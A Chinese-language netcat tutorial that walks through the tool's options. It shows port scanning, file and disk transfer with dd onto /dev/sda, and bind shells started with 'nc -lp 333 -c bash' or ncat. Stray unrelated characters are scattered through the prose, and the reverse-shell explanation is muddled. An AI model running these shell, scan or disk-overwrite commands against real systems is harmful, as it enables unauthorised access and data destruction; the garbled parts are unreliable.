NetCat
介紹:
網(wǎng)絡(luò)工具中的瑞士軍刀—小身材(幾M),大智慧(功能強(qiáng)大)
基本功能:
- 監(jiān)聽/傳輸
- 流媒體服務(wù)器
- 傳輸文本信息
- 傳輸文件
- 遠(yuǎn)程控制
- 遠(yuǎn)程硬盤克隆
功能實(shí)現(xiàn):
幫助文檔
參數(shù): –h
舉例: nc –h
顯示
OpenBSD netcat (Debian patchlevel 1.130-3)
//不同的操作系統(tǒng)的NC有細(xì)微的差別
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-O length]
[-P proxy_username] [-p source_port] [-q seconds] [-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [destination] [port]
//格式
//以下為基本命令
Command Summary:
-4 Use IPv4 //默認(rèn)使用IP4格式的地址
-6 Use IPv6 //如果要使用IP6格式癣蟋,要加參數(shù)
-b Allow broadcast
-C Send CRLF as line-ending //不是-c(小寫)
-D Enable the debug socket option
-d Detach from stdin
-F Pass socket fd
-h This help text //幫助
-I length TCP receive buffer length
-i secs Delay interval for lines sent, ports scanned
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects //監(jiān)聽
-N Shutdown the network socket after EOF on stdin
-n Suppress name/port resolutions //連接IP和 端口
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects //開放端口
-q secs quit after EOF on stdin and delay of secs //等待n秒后自動(dòng)退出連接
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s addr Local source address
-T toskeyword Set IP Type of Service
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode //掃描UDP模式的參數(shù)
-V rtable Specify alternate routing table
-v Verbose //顯示詳細(xì)信息
-w secs Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-Z DCCP mode
-z Zero-I/O mode [used for scanning] //掃描模式
Port numbers can be individual or ranges: lo-hi [inclusive]
利用nc作為聊天工具
1. A機(jī):nc –lp 333
2. B機(jī):nc –nv 192.168.43.74 333
3. 解釋:
a) A機(jī)打開了333端口(p),并監(jiān)聽(l)333端口
b) B機(jī)連接(n)了192.168.43.74的333端口初斑,并顯示(v)詳細(xì)信息
結(jié)果如圖(注意IP地址不同)
簡單互傳.png
將命令輸出內(nèi)容進(jìn)行傳送(部分nc沒有-c選項(xiàng))
1. A機(jī):ls –al | nc –lp 333
2. B機(jī):nc –nv 192.168.43.74 333 –q 1
3. 解釋:
a) A機(jī):顯示詳細(xì)目錄(ls –al)通過管道(|)給nc的333端口
b) B機(jī):連接用nc連接指定端口,并延時(shí)1秒(1)后斷開(q)
4. 備注:出了點(diǎn)小意外膨处,1秒后沒有退出见秤,后來發(fā)現(xiàn)-q好像是配合客戶端(不是開放端口的那方)使用的
命令顯示.png
掃描模式:(掃描并不準(zhǔn)確)
1. 掃描TCP端口:nc –nvz 192.168.43.74 1-65535
2. 掃描UDP端口:nc –nvzu 192.168.43.74 1-65535
3. 解釋:
a) nc進(jìn)行IP連接,并顯示詳細(xì)信息真椿,進(jìn)行端口掃描(z)指定端口(1-65535)
b) nc進(jìn)行IP連接鹃答,并顯示詳細(xì)信息,進(jìn)行端口掃描(z)指定端口(1-65535)的UDP連接
4. 備注:發(fā)現(xiàn)沒有端口開放(其實(shí)是假的突硝。测摔。。。)锋八,如果顯示詳細(xì)信息可能所有端口都會(huì)顯示信息
命令顯示.png
傳送文件
1. A:nc –lp 333 >1.mp4
2. B:nc –nv 192.168.43.74 333 < hello.mp4 –q 1
3. 解說:
a) A開放并監(jiān)聽333端口浙于,并把數(shù)據(jù)給1.mp4
b) B連接333端口,并把hello.mp4傳送過去挟纱,并等待1s后自動(dòng)關(guān)閉
4. 備注:這次自動(dòng)退出成功
圖片傳輸.png
加密傳文件
1. A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
2. B:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
3. 解說:
a) 開放端口路媚,得到數(shù)據(jù),通過管道樊销,
把數(shù)據(jù)解密(mcrypt --flush -Fbqd -a rijndael-256 -m ecb),把解密后的內(nèi)容給1.mp4
b) 把文件加密(mcrypt --flush -Fbq -a rijndael-256 -m ecb)脏款,通過管道符給nc傳送過去
4. 備注:
mcrypt系統(tǒng)不一定有围苫,--flush不保存過渡文件,-Fbq(加密)-Fbqd(解密)
rijndael-256 -m ecb(ECB的256位加密算法)
流媒體服務(wù)器
1. A: cat 1.mp4 | nc -lp 333
2. B: nc –nv 192.168.66.141 333 | mplayer -vo x11 -cache 3000 –
3. 解說:
a) A:把1.mp4的文件顯示出來給333端口
b) B:把收到的文件交給mplayer用(-vo x11)解碼撤师,緩存3000(K)
4. 額剂府,發(fā)現(xiàn)系統(tǒng)并沒有mplayer
硬盤克隆(硬盤克隆是把刪除的內(nèi)容剃盾,哪些表面刪除腺占,實(shí)際還在盤里的被標(biāo)記為刪除的文件,也會(huì)被克卵髑础)
1. A:nc -lp 333 | dd of=/dev/sda
2. B:dd if=/dev/sda | nc -nv192.168.66.141 333 –q 1
3. 解說:
a) A:把收到的內(nèi)容輸出到/dev/sda(硬盤)
b) B:把/dev/sda的內(nèi)容進(jìn)行塊拷貝衰伯,輸出為nc
遠(yuǎn)程控制(部分其他版本的nc可能沒有-c(c小寫)的選項(xiàng))
1. A:nc -lp 333 -c bash
2. B:nc –nv 192.168.66.141 333
3. 解說:
a) A:把得到的內(nèi)容傳送給bash進(jìn)行執(zhí)行(-c)
b) B:連接nc,然后執(zhí)行(ls)
4. 備注:
windows使用的是cmd积蔚,linux使用的是bash
置入特洛伊.png
nc的缺陷和改進(jìn)
缺陷
- 通信的時(shí)候不能加密意鲸,也就是你開發(fā)的端口,大家都可以用
- 沒有用戶驗(yàn)證
解決
- 使用ncat
基本用法同nc
有加密通信通道 - 舉例:
A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B:ncat -nv 1.1.1.1 333 --ssl
備注:
ncat是nmap的一部分
- nc中可以正向也可以反向傳輸
比如:
正向傳輸
A:nc -lp 333 -c bash
B:nc –nv 192.168.66.141 333
A開放端口尽爆,把監(jiān)聽到的內(nèi)容進(jìn)行(bash)執(zhí)行
反向方向:
A:nc -lp 333 -c bash
B:nc –nv 192.168.66.141 333 -c bash
A開放端口怎顾,后輸入內(nèi)容,讓B進(jìn)行執(zhí)行